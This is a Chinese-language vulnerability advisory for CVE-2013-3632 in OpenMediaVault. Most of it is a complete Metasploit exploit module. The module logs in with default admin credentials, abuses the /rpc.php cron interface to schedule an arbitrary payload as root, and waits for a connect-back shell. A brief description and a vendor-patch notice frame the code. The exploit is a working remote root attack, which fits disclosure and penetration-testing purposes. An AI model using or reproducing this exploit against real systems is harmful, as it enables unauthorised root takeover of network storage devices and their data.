发布日期：2013-10-31
更新日期：2013-10-31

受影响系统：

openmediavault OpenMediaVault

描述：

---

CVE(CAN) ID: CVE-2013-3632

OpenMediaVault是开放式网络附属存储解决方案。

OpenMediaVault的 /rpc.php 脚本允许用户创建任意 cron 作业，在实现上存在安全漏洞，成功利用后可使远程攻击者获取提升的权限。

<*来源：Tod Beardsley
        Brandon Perry
  
  链接：http://osvdb.org/show/osvdb/99143
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'OpenMediaVault Cron Remote Command Execution',
      'Description'    => %q{
      OpenMediaVault allows an authenticated user to create cron jobs as aribtrary users on the system.
      An attacker can abuse this to run arbitrary commands as any user available on the system (including root).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
        ],
      'References'     =>
        [
          ['CVE', '2013-3632'],
          ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']
        ],
      'Privileged' => true,
      'DefaultOptions' => { 'WfsDelay' => 60 },
      'Payload'        =>
      {
        'Compat'     =>
        {
          'PayloadType'  => 'cmd',
          'RequiredCmd'  => 'generic perl ruby bash telnet python',
        }
      },
      'Platform'       => ['unix', 'linux'],
      'Arch'           => ARCH_CMD,
      'Targets'        => [['Automatic',{}]],
      'DisclosureDate' => 'Oct 30 2013',
      'DefaultTarget'  => 0
    ))

    register_options(
    [
      OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
      OptString.new('PASSWORD', [ false, "Password to authenticate with", 'openmediavault'])
    ], self.class)
  end

  def exploit
    init = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/index.php')
    })

    sess = init.get_cookies
    post = "{\"service\":\"Authentication\",\"method\":\"login\",\"params\":{\"username\":\"#{datastore["USERNAME"]}\",\"password\":\"#{datastore["PASSWORD"]}\"}}"

    login = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/rpc.php'),
      'data' => post,
      'ctype' => 'application/json',
      'cookie' => sess
    })

    if !login or login.code != 200
      fail_with("Login failed")
    end

    sess = login.get_cookies
    post = '{"service":"Cron","method":"set","params":{"enable":true,"minute":"*","hour":"*","dayofmonth":"*","month":"*","dayofweek":"*","username":"root","command":"'
    post << payload.encoded.gsub('"', '\"')
    post << '","comment":"","type":"userdefined","everynminute":false,"everynhour":false,"everyndayofmonth":false,"sendemail":false,"uuid":"undefined"}}'

    resp = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/rpc.php'),
      'data' => post,
      'ctype' => 'application/json',
      'cookie' => sess
    })

    if !resp or resp.code != 200
      fail_with("Posting cron failed.")
    end

    print_status("Waiting for connect-back, this will take up to a minute")
  end
end

建议：

---

厂商补丁：

openmediavault
--------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.openmediavault.org/about.html

浏览次数：2164
严重程度：0（网友投票）